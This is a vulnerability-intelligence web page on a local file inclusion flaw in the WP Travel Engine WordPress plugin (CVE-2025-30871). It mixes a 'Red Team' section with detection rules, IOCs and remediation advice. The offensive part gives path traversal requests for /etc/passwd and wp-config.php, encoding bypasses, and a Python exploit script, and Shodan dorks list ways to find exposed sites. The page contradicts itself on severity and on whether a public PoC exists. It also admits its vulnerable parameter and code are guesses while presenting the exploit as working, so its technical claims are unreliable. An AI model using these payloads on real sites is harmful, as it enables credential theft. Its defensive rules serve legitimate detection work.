☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Wptravelengine logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-98
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-30871

CVE-2025-30871 Local File Inclusion in Wptravelengine
📅 PUBLISHED: 2025-03-27 11:15 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.15%
👁️
1.15% probability
28.6× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1083
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-30871 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the WP Travel Engine WordPress plugin, affecting versions up to and including 6.3.5. The vulnerability stems from improper control of a filename used in a PHP include/require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading the wp-config.php file containing database credentials, or potentially achieving remote code execution if combined with file upload capabilities.

The vulnerability is classified under CWE-98 (Improper Control of Filename for Include/Require Statement in PHP Program). With a CVSS score of 7.5 (High), it poses a significant risk to WordPress sites running the vulnerable plugin. No public exploit code or proof-of-concept is currently available, but the attack vector is well-understood and can be weaponized by threat actors.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the WP Travel Engine WordPress plugin, which is distributed through the official WordPress plugin repository and third-party marketplaces. As a WordPress ecosystem component, the plugin is installed directly by site administrators. The supply chain risk is elevated because:

  • The plugin is widely used for travel booking functionality.
  • No official patch has been released as of this analysis.
  • Site owners relying on automatic updates may remain exposed until a fix is published.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Base Score: 7.5 (High)

Metric Value Description
Attack Vector (AV) Network Exploitable remotely over the network
Attack Complexity (AC) Low No special conditions required
Privileges Required (PR) None No authentication needed
User Interaction (UI) None No user action required
Scope (S) Unchanged Vulnerability does not affect other components
Confidentiality (C) High Full file read capability
Integrity (I) None No file modification
Availability (A) None No denial of service

Threat Level: High. The vulnerability allows unauthenticated file disclosure, which can lead to credential theft and lateral movement within the WordPress ecosystem.

Deep Dive & Mechanics

The vulnerability exists in the WP Travel Engine plugin's PHP code where user-supplied input is used to construct a file path for inclusion via include() or require(). The plugin likely uses a parameter (e.g., page, tab, or action) to load template files or configuration scripts. Without proper sanitization, an attacker can inject path traversal sequences (e.g., ../../) to include arbitrary files from the server.

Attack Flow:

  1. The attacker identifies a vulnerable endpoint in the plugin (e.g., /wp-admin/admin.php?page=wp-travel-engine-settings&tab=../../../../etc/passwd%00).
  2. The plugin processes the tab parameter and passes it to an include() function.
  3. Due to improper input validation, the path traversal sequence resolves to /etc/passwd.
  4. The file content is included and displayed in the HTTP response, revealing sensitive data.

WordPress Ecosystem Context: This is a WordPress plugin vulnerability, not a server-level issue. The attack targets the plugin's PHP code, which runs within the WordPress application context. The vulnerability is independent of the web server (Apache/Nginx) and is solely due to insecure coding practices in the plugin.

Vulnerable vs. Patched Code

Vulnerable Code (<= 6.3.5):

// Example vulnerable pattern
$tab = $_GET['tab'];
include( WP_TRAVEL_ENGINE_PATH . 'includes/admin/views/' . $tab . '.php' );

Patched Code (Hypothetical):

// Secure implementation
$allowed_tabs = array('general', 'payment', 'email');
$tab = sanitize_key( $_GET['tab'] );
if ( in_array( $tab, $allowed_tabs ) ) {
    include( WP_TRAVEL_ENGINE_PATH . 'includes/admin/views/' . $tab . '.php' );
} else {
    wp_die( 'Invalid tab.' );
}

The patched version uses a whitelist approach, validates the input against allowed values, and sanitizes the parameter to prevent path traversal.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • Target WordPress site with WP Travel Engine <= 6.3.5
  • Network access to the site

Exploitation Steps:

  1. Identify the vulnerable parameter (e.g., tab, page, file).
  2. Craft a payload with path traversal to read sensitive files:
    GET /wp-admin/admin.php?page=wp-travel-engine-settings&tab=../../../../etc/passwd%00
    
  3. If null byte injection is blocked, use double encoding or other bypasses:
    GET /wp-admin/admin.php?page=wp-travel-engine-settings&tab=..%252f..%252f..%252f..%252fetc/passwd
    
  4. Read wp-config.php for database credentials:
    GET /wp-admin/admin.php?page=wp-travel-engine-settings&tab=../../../../wp-config.php
    

Exploit Code (Python):

import requests

target = "http://target-site.com/wp-admin/admin.php"
params = {
    "page": "wp-travel-engine-settings",
    "tab": "../../../../etc/passwd%00"
}
response = requests.get(target, params=params)
if "root:" in response.text:
    print("[+] LFI successful!")
    print(response.text)
else:
    print("[-] Exploit failed.")

Blue Team (Defensive)

Detection Steps:

  1. Monitor web server logs for path traversal patterns in query strings:
    grep -E '\.\./|%2e%2e%2f|%252e%252e%252f' /var/log/apache2/access.log
    
  2. Check for unexpected file inclusion attempts in WordPress admin pages.
  3. Review plugin file for insecure include()/require() calls.

Honeypot Setup:

  • Deploy a fake wp-config.php with decoy credentials to detect LFI attempts.
  • Use ModSecurity with OWASP CRS to block path traversal payloads.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP requests containing ../ or encoded variants in query parameters
  • Requests to /wp-admin/admin.php with unusual tab or page values
  • Outbound connections from the web server to attacker-controlled IPs (if RCE achieved)

File System IOCs:

  • Unexpected inclusion of /etc/passwd, /etc/shadow, or wp-config.php in HTTP responses
  • Modified plugin files (if attacker uploads a webshell)

Log IOCs:

  • Apache/Nginx access logs showing path traversal patterns
  • PHP error logs with warnings about failed includes

Detection Engineering

YARA Rule

rule CVE_2025_30871_LFI_Detection {
    meta:
        description = "Detects LFI attempts targeting WP Travel Engine plugin"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2025-30871"
    strings:
        $path_traversal = /\.\.\/|\.\.\\|%2e%2e%2f|%252e%252e%252f/
        $wp_travel_engine = "wp-travel-engine" nocase
        $admin_page = "admin.php" nocase
    condition:
        $wp_travel_engine and $admin_page and $path_traversal
}

Sigma Rule

title: CVE-2025-30871 WP Travel Engine LFI Attempt
id: 8f4a3b2c-1d5e-4f6a-8b7c-9d0e1f2a3b4c
status: experimental
description: Detects path traversal attempts against WP Travel Engine plugin
author: Valters IT
date: 2025-04-17
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'wp-travel-engine'
            - 'admin.php'
        cs-uri-query|contains|all:
            - '../'
            - '%2e%2e%2f'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in plugin
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-30871 WP Travel Engine LFI Attempt";
    flow:to_server,established;
    content:"wp-travel-engine"; http_uri;
    content:"admin.php"; http_uri;
    pcre:"/(\.\.\/|%2e%2e%2f|%252e%252e%252f)/i";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:cve,2025-30871;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released.
  2. Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
  3. Restrict file permissions on sensitive files (e.g., wp-config.php should be 600).

Long-term Fix:

  • Apply the official patch from WP Travel Engine once released.
  • Replace the vulnerable plugin with an alternative if no patch is forthcoming.
  • Conduct a code audit of all WordPress plugins for similar LFI vulnerabilities.

Workaround:

  • Add the following to .htaccess to block LFI attempts:
    RewriteEngine On
    RewriteCond %{QUERY_STRING} (\.\./|%2e%2e%2f) [NC]
    RewriteRule ^wp-admin/admin.php - [F,L]
    

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"WP Travel Engine"
http.html:"wp-travel-engine"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-30871/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.